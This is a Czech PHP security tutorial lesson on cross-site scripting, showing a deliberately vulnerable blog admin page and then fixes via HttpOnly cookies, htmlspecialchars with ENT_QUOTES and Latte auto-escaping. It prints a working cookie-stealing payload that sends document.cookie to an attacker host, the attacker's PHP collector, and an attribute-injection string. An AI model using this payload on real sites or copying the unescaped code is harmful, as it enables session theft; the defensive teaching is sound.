Vydělávej až 160.000 Kč měsíčně! Akreditované rekvalifikační kurzy s garancí práce od 0 Kč. Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

Lekce 4 - Obrana proti útoku XSS v PHP

V předchozí lekci, Jak se bránit proti SQL injection, jsme si uvedli způsoby, jak před útokem SQL injection svou aplikaci chránit.

XSS, neboli Cross-site scripting, je útok, při kterém útočník podstrčí uživateli nebezpečný script. Tento útok je velmi známý, často používaný a přesto existuje hodně webů, které proti němu nejsou imunní. Způsob útoku a ochranu proti němu se pokusím vysvětlit na reálném příkladu:

Mějme webový blog, do kterého uživatelé píší články, které poté administrátor schvaluje. Uživatel má stránku s formulářem, do kterého (pro zjednodušení) zadá titulek a obsah článku. Všechny zaslané články se poté administrátorovi zobrazí v administrační části, do které se musí přihlásit. Jelikož jiné části blogu nejsou potřeba, ukážeme si velmi jednoduchý kód, který by tyto dvě akce (přidání a zobrazení článků) dokázal obsloužit.

index.php

Pro ukázku stačí mít pouze pár základních věcí, jako je připojení k databázi nebo zjištění souboru dle URL adresy.

<?php

session_start();
header("content-type:text/html;charset=UTF-8");
$db = new PDO("host=localhost;dbname=blog", "uzivatel", "heslo");
$page = !empty($_GET["page"]) ? $_GET["page"] : "home";

?>

<a href="?page=add">Přidat</a> <a href="?page=admin">Admin</a>
<br /><br />

<?php

if (in_array($page, array('home', 'add', 'admin')))
require "{$page}.php";

add.php

Neřešme teď ošetření chyb ve formuláři (jako je nevyplněné pole atp.), jednoduchá podmínka projde jen v případě, že uživatel vyplní jak pole 'title', tak i pole 'content'. Údaje se poté uloží do tabulky 'article'.

<?php

if ($_POST && !empty($_POST["title"]) && !empty($_POST["content"])) {
    $q = $db->prepare("
        INSERT INTO `article` (`title`, `content`)
        VALUES (?, ?)
    ");
    $q->execute(array($_POST["title"], $_POST["content"]));
    header("location: index.php?page=add");
    exit;
}

?>

<form method="post">
    <table>
        <tr>
            <td>Titulek:</td>
            <td><input type="text" name="title" /></td>
        </tr>
        <tr>
            <td>Obsah článku:</td>
            <td><textarea name="content" rows="5" cols="60"></textarea></td>
        </tr>
        <tr>
            <td><input type="submit" value="Odeslat" /></td>
        </tr>
    </table>
</form>

admin.php

V administrační sekci pro ukázku zobrazíme jen seznam článků a to včetně jejich obsahu.

<?php

// primitivní kontrola, zda je uživatel admin
if (!isset($_SESSION["admin"])) {
  header("location:?page=home");
  exit;
}

$articlesQuery = $db->query("
    SELECT * FROM `article`
");
$articles = $articlesQuery->fetchAll(PDO::FETCH_OBJ);

?>

<?php foreach ($articles as $article): ?>
    <h3><?php echo $article->title; ?></h3>
    <?php echo $article->content; ?>
<?php endforeach; ?>

Pro představu stránky mohou vypadat takto (neřešte prosím ošklivost stránek!):

Formulář na přidání článku - Bezpečnost webových aplikací v PHP
Zobrazení článků - Bezpečnost webových aplikací v PHP

XSS

Teď přijde na řadu XSS. Všimněte si, že se titulek a obsah článku vypisují v surovém stavu (tzn. přesně tak, jak je zadal uživatel). Kvůli žádné ochraně může uživatel zadat do obsahu článku (v titulku by pro to nejspíše nebylo dost místa) nebezpečný javascriptový kód. Takový kód může mít různé podoby podle toho, co je cílem útočníka - jelikož umí javascript přistupovat k cookies, lze ukrást identifikátor session (PHPSESSID)! Pokud se tak stane, může útočník podstrčit identifikátor administrátora a aplikace pak nepozná, že se jedná o útočníka a bez problému ho pustí do administrátorské sekce.

Poznámka autora: Když jsem tento typ útoku v prvním ročníku SŠ ukázal spolužákům, během chvíle mělo několik lidí na webu XSS script, který danou stránku přesměroval na stránku s nevhodným obsahem (asi chápete, jaký druh stránek mám na mysli - a já to nebyl!). Naštěstí se ale stránky neukazovaly učiteli, takže s tím nakonec nebyly žádné problémy. Raději to ale ve škole nezkoušejte.

Jak ale ukrást adminovi jeho identifikátor a někam ho uložit? Víte, že když například vkládáte na stránku obrázek, musíte do atributu src zadat URL adresu, ze které si prohlížeč vezme obsah? Znamená to, že když jako URL napíšete "http://webova­.stranka.cz/u­tok.php", provede se PHP script v souboru utok.php. Javascript se umí k cookies dostat velmi snadno:

alert(document.cookie);

Proměnná document.cookie obsahuje všechny klíče a hodnoty v cookies jako řetězec (klic=hodnota&klic2=hod­nota2). Pro útočníka pak stačí velmi jednoduchý script:

var c = document.cookie;
document.write("<img src='http://webova.stranka-utocnika.cz/utok.php?data=" + c + "'>");

// vytvoří "obrázek", ale do URL parametru 'data' se pošle hodnota cookie (včetně PHPSESSID)

Útočník by klidně mohl obrázek zneviditelnit (pomocí display: none), aby admin neviděl ani ikonku. Ukázka takového útoku by mohla vypadat takto:

Zadání nebezpečného scriptu - Bezpečnost webových aplikací v PHP
Vypsání nebezpečného obsahu - Bezpečnost webových aplikací v PHP

Jak poté může vypadat obsah souboru utok.php? Velmi jednoduše:

<?php

$db = new PDO("mysql:host=localhost;dbname=test", "uzivatel", "heslo");

$data = $_GET["data"];
$query = $db->prepare("
    INSERT INTO `xss_attack` (`data`) VALUES (?)
");
$query->execute(array($data));

Do databáze útočníka se poté uloží hodnota cookie administrátora blogu, která článek otevřel ke schválení. Útočník může na své straně hodnotu PHPSESSID změnit (třeba pomocí addonu do prohlížeče, který to umí). Poté navštíví znovu stránku blogu a s podstrčenou hodnotou a nyní vypadá jako admin. Aplikace mu tak povolí přístup i do administrátorské sekce.

Jak se útoku bránit?

Proti ukradení PHPSESSID stačí velmi jednoduchá ochrana a to zamezit, aby tu hodnotu uměl javascript přečíst. To uděláme jednou změnou v nastavení php.ini.

ini_set("session.cookie_httponly", 1);

Pořád je ale blog nechráněn proti ostatním způsobům útoku XSS. Potřebujeme, aby se nebezpečné znaky (jako jsou ostré závorky) převedly na tzv. entity. Např. levou ostrou závorku < převedeme na &lt; a pravou > na &gt; To za nás umí udělat funkce htmlSpecialChars(). Stačí pak touto funkcí obalit řetězce, které z databáze vypisujeme.

<?php foreach ($articles as $article): ?>
    <h3><?php echo htmlSpecialChars($article->title); ?></h3>
    <?php echo htmlSpecialChars($article->content); ?>
<?php endforeach; ?>

Dle manuálu zjistíte, že funkce převádí určité znaky na entity, defaultně jsou to amspersand, dvojité uvozovky, levou a pravou ostrou závorku. Obvykle je ale dobré převést automaticky i apostrofy, protože lze XSS útok provést i v případě, že se bude předvyplňovat hodnota v text inputu. Ukažme si na jednoduchém příkladu, jak by řetězec s apostrofy mohl útok provést:

<?php

$dangerousString = "' onmouseover='alert(\"XSS\")";

?>

<input type='text' value='<?php echo $dangerousString; ?>'>

// vytvoří
<input type='text' value='' onmouseover='alert("XSS")'>

Pro řešení tohoto problému existuje druhý parametr funkce htmlSpecialChars(). Pokud předáme hodnotu konstanty ENT_QUOTES, automaticky se na entity převedou i apostrofy.

<input type='text' value='<?php echo htmlSpecialChars($dangerousString, ENT_QUOTES); ?>'>

Tyto dva způsoby útoku XSS bývají nejčastější, ale je i více způsobů, jak nebezpečný script podstrčit (např. do JS kódu nebo CSS). Více se můžete dočíst například v definitivní příručce k escapování od Davida Grudla.

Automatická ochrana

Umět správně použít escapování funkce je sice užitečná věc, ale často se může stát, že na ně programátor prostě zapomene. Proto je dobré mít nástroj, který proměnné ošetřuje automaticky. Dobrým příkladem může být například šablonovací systém Latte od Nette frameworku - ten automaticky ošetří proměnnou podle toho, kde se nachází (zda někde v dokumentu, v text inputu, v javascriptu apod.). Podobný automatický mechanismus používá i místní MVC framework v PHP.

Vypsání proměnné je pak velmi snadné:

// proměnná je automaticky ošetřena proti XSS
Hledaný řetězec: {$query}

Jelikož Latte ošetřuje proměnné automaticky, můžeme někdy potřebovat vypsat hodnotu bez ošetření. To lze opět velmi snadno - stačí před proměnnou napsat vykřičník.

// proměnná se nyní vypíše bez escapování
Obsah proměnné: {!$variable}

Závěr

XSS je jedním z nejznámějších útoků a přesto existuje hodně webů, které jsou proti němu náchylné. Ošetření v určitých případech nemusí být úplně snadné a vývojář může snadno na něco zapomenout. U malých webů by to takový problém být nemusel, ale u větších, kde se například točí hodně peněz, je bezpečnost na nejvyšších příčkách. Osobně používám Latte, protože vím, že bych sám všechny způsoby útoku zamezit nedokázal. Takto nemusím doufat, že se útok někomu nepovede, protože mi dokument chrání ověřený systém, a já se tak mohu zaměřit na jiné věci, než na escapování jednotlivých proměnných.

Využití ověřeného nástroje určitě doporučuji, protože kromě ušetření času velmi často zvýší i samotnou bezpečnost - jak bylo řečeno v článku, můžeme na escapování snadno zapomenout nebo ho použít špatně.

V další lekci, Útok CSRF (Cross Site Request Forgery) a jak se bránit, se seznámíme s útokem Cross Site Request Forgery a uvedeme si způsoby jak se před tímto typem útoku bránit.


 

Předchozí článek
Jak se bránit proti SQL injection
Všechny články v sekci
Bezpečnost webových aplikací v PHP
Přeskočit článek
(nedoporučujeme)
Útok CSRF (Cross Site Request Forgery) a jak se bránit
Článek pro vás napsal Martin Konečný (pavelco1998)
Avatar
Uživatelské hodnocení:
28 hlasů
Autor se o IT moc nezajímá, raději by se věnoval speciálním jednotkám jako jsou SEALs nebo SAS. Když už to ale musí být něco z IT, tak tvorba web. aplikací v PHP. Také vyvýjí novou českou prohlížečovou RPG hru a provozuje osobní web http://www.mkonecny.cz
Aktivity